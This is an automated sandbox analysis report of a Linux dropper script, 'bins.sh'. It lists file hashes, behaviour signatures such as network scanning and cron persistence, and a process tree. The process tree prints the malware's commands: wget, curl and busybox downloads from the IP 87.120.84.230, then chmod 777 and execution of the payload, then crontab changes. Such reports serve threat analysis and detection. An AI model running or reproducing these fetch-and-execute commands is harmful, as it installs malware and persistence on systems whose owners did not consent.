Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    09-11-2024 13:46

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    db199d59ba08e033c581aecba2219c42

  • SHA1

    469f462f64f7554cfb806ffec3c825e6b2d2cd61

  • SHA256

    483b8ef88573fcd07bcbebbd9493eb7821f86e77cd499adcb534b5f9fee9f5f3

  • SHA512

    03ca54d3480cdd7c3a98c177eb51675650624e33bb1bc55876c3eb44ab24749530df58c439a1f1dc88d62cb6d2b12b4ea885ac0e896d0aa747f86a2a5959a04c

  • SSDEEP

    192:nSWLaKmTJJo+oMYFCi/AJZwn7mCMYFCikJZwn7XSWLaKTL:QTJJo+eKyL

Malware Config

Signatures

  • Contacts a large (2164) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:652
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:654
        • /usr/bin/wget
          wget http://87.120.84.230/bins/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
          • Writes file to tmp directory
          PID:657
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:680
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
          • Writes file to tmp directory
          PID:684
        • /bin/chmod
          chmod 777 DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
          • File and Directory Permissions Modification
          PID:685
        • /tmp/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          ./DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:686
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:688
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:689
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:690
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:691
              • /bin/rm
                rm DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
                2⤵
                  PID:705
                • /usr/bin/wget
                  wget http://87.120.84.230/bins/EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
                  2⤵
                    PID:709

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY

                  Filesize

                  119KB

                  MD5

                  1b166b95f9cb4b079ef1b9ec8363ddf3

                  SHA1

                  0d8eb08add467b3b5474f9b25909297fe7c2839c

                  SHA256

                  94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                  SHA512

                  983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                • /var/spool/cron/crontabs/tmp.Xa5HJk

                  Filesize

                  210B

                  MD5

                  c39661a23c8e1b4c5c9684e688288aa1

                  SHA1

                  69cf181f1ec9cad4478a35739cd75410e5f3a1e0

                  SHA256

                  de4c26e11a7c0acf641872635c6962c52f9d1d3797db33e03bb63be6fa3326a7

                  SHA512

                  02512ffa6b2b44839bf10ba753cd43131745d6b02ab2da30b18b86ac904a3c26f082c0a7a75ba184efaca14193732c0837d48e0811a659ce7e787ddafaa0bcdc